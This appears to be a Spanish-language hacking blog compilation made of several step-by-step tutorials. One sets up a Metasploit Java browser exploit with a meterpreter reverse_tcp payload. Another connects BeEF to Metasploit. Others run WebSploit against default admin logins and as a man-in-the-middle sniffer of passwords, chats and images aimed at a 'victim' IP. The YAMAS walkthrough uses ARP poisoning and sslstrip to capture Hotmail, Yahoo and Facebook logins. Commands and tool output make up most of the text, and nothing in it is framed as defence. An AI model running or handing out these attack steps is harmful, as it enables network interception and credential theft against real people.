Beef + Metasploit

Hola vamos a conectar a beef con metasploit es sencillo, manos a la obra...

Primero tenemos que editar ubicar al archivo "config.yaml"

#locate config.yaml

#cd /opt/backbox/beef-project/

/opt/backbox/beef-project# gedit config.yaml

una ves ubicado y abrimos el editor, mi caso en "/opt/backbox/beef-project" ya que mi distribución es BACKBOX y en la parte final del archivo, se encuentra lo que buscamos y lo cambiamos.

Una ves editado nos dirigimos a mestasploit

#msfconsole
       =[ metasploit v4.8.0-dev [core:4.8 api:1.0]
+ -- --=[ 1170 exploits - 643 auxiliary - 186 post
+ -- --=[ 312 payloads - 30 encoders - 8 nops

msf>load msgrpc ServerHost=127.0.0.1 Pass=abc123
[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc

una ves cargado el "msgrpc" lo comprovamos en el beef

#beef-server
[*] Project Creator: Wade Alcorn (@WadeAlcorn)
[*] Successful connection with Metasploit.
[*] Loaded 250 Metasploit exploits.

ya esta listo y configurado para usar :)

Bug java y aprovechamiento con metasploit

Vamos a explicar como aprovechar esta vulnerabilidad con "METASPLOIT" y esta, lista de comandos

use exploit/multi/browser/java_storeimagearray
set RHOST 192.168.0.20
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.20
exploit

CVE-2013-2465
CVE-2013-2460

WEBSPLOIT - BUSCADE DE PANEL Y PRUEBA DE ADMIN POR DEFAUL

Hola hoy vamos a buscar con WEBSPLOIT el panel por default y probar los usuarios por defectos, el modulo WEB, que posee :)...

Ingresamos al modulo y luego agregamos el "URL" y le damos "RUN"

Como vemos primero esta buscando el panel y luego probara los usuarios del admin, por default......

saludos, cuidense dale me gusta y compartir suscribete  a mi blog y mi canal. dale me gusta a mi pagina de facebook.

WESBPLOIT - MITM - CAPTURA DE IMAGENES, URL, SMS, CONTRASEÑAS

 __          __  _               _       _ _   

\ \        / / | |             | |     (_) |  

 \ \  /\  / /__| |__  ___ _ __ | | ___  _| |_ 

  \ \/  \/ / _ \ '_ \/ __| '_ \| |/ _ \| | __|

   \  /\  /  __/ |_) \__ \ |_) | | (_) | | |_ 

    \/  \/ \___|_.__/|___/ .__/|_|\___/|_|\__|

                         | |                  

                         |_|                  

--=[WebSploit FrameWork

+---**---==[Version :2.0.4

+---**---==[Codename :MegaTron

+---**---==[Available Modules : 19

--=[Update Date : [r2.0.4-111 13.6.2013]

Empecemos, con la instalación nada complicado, Descargar, ubicarnos en la ruta, luego lo tenemos que descomprimir, darle los permisos y instalamos.

Una ves instalado escribimos en una terminal en modo root "websploit"

Ahora veremos los modulos que posee, cabe aclara que hoy solo veremos el network/mitm

Los comandos son muy parecidos, a los de metasploit a si que manos a la obra primero ingresamos al modulo

Configuremos las opciones el parametro a usar es el sigiente

set <options> <valor>

ahora configuremos

set interface wlan0                   en mi caso porque estoy en una coneccion wifi (wlan0)
set router 192.168.1.1              es el ip del router de salida a internet
set target 192.168.1.34             en este caso es el ip de la victima a atacar
set sniffer urlsnarf                    es usado para capturar urls

existen varios valores en sniffer como nos muestra la imagen, que podemos cambiar
dsniff --- captura de contraseñas
msgsnarf --- captura de texto chat,facebook,etc
urlsnarf --- captura de urls
driftnet --- captura de imagenes

una ves configurado escribimos "run" para iniciar la captura.

         Nos saldran nos ventanas una de "ARSPOOF" y "SSLSTRIP" y como podemos ver a iniciado la captura de trafico dandonos que esta mirando www.youtube.com.....

Saludos visiten mis otros post, cualquier duda diganmenla y compartelo :)

Yamas - Capturando contraseñas en la Red

Hola, hoy voy a enseñar una herramienta "YAMAS" la prefiero porque es un buen script y si te animas revisa el codigo :)..... Empecemos :)
Primero nos descargamos el codigo

web oficial----- Yamas

yamas------> Descarga

una ves descagardo o guardado con yamas.sh no ubicamos en el terminal

Le damos los permisos necesario

Luego damos ./yamas.sh  y pones "Y" y presionamos "ENTER".

Habrimos otra consola y escribimos "yamas", una ves instalado.

Una ves corriendo el script, vamos a ver algunas configuraciones 

A limpiado las tablas en caso de "iptables" aya guardado.

[+] Cleaning iptables 

[-] Cleaned.

Activa el redirecionamiento de IP

 [+] Activating IP forwarding... 

[-] Activated.

Ahora nos dice que el trafico de salida va por el puerto 8080 o 80, si no lo queremos cambiar le damos "ENTER"

 [+] Configuring iptables... 

 To what port should the traffic be redirected to? (default = 8080)

Port 8080 selected as default.

 From what port should the traffic be redirected to? (default = 80)

Port 80 selected as default.

 Traffic from port 80 will be redirected to port 8080 

[-] Traffic rerouted

A activado sslstrip y no esta pidiendo un nombre para el archivo donde se guardaran las contraseñas

se guarda en /tm/nombre.txt, le damos "ENTER"

 [+] Activating sslstrip... 

Choose filename to output : (default = yamas)

Se encuentra activado el ARP y nos dice que tenermos por defecto nuestra tarjeta y el ip del router, si esos son presionamos "ENTER"

 [+] Activating ARP cache poisoning... 

Gateway : 192.168.1.1      Interface : wlan0

Enter IP gateway adress or press enter to use 192.168.1.1.

192.168.1.1 selected as default.

Nos esta preguntado, si deseamos enviar el trafico de salida por la interfas "WLAN0", si es a si presionamos "ENTER"

What interface would you like to use? It should match IP gateway as shown above. Press enter to use wlan0.

wlan0 selected as default.

Nos esta preguntando si deseamos agregar, host (pc) especificas o todas de la red, si deseamos agregar presionamos "D" o si a todos damos "ENTER"

We will target the whole network as default. You can discover hosts and enter IP(s) manually by entering D.

Press enter to default.

Nos dice que los objetivos, que pasen por esta red 192.168.1.1 seran direccionados a "WLAN0"

 Targeting the whole network on 192.168.1.1 on wlan0 with ARPspoof

[-] Arp cache poisoning is launched.  Keep new window(s) running. 

Nos dan las opciones mientras esta haciendo sniffer 

 Attack should be running smooth, enjoy.

Attack is running. You can :

1. Rescan network. "buscar en la red"

2. Add a target (useless if targeting whole network). "AGREGAR OBJETIOS"

3. Display ASCII correspondence table. "MIRAR EN ASCII, PORQUE SE MUESTRA EN HEXA"

4. Real-time parsing... "MIRAR LO QUE PASA EN TIEMPO REAL"

5. Misc features. "OTRAS OPCIONES"

6. Quit properly. "SALIR"

Enter the number of the desired option.

Nos habrira dos ventanas y esperamos a que ingrese a su cuenta de hot, yahoo, face, etc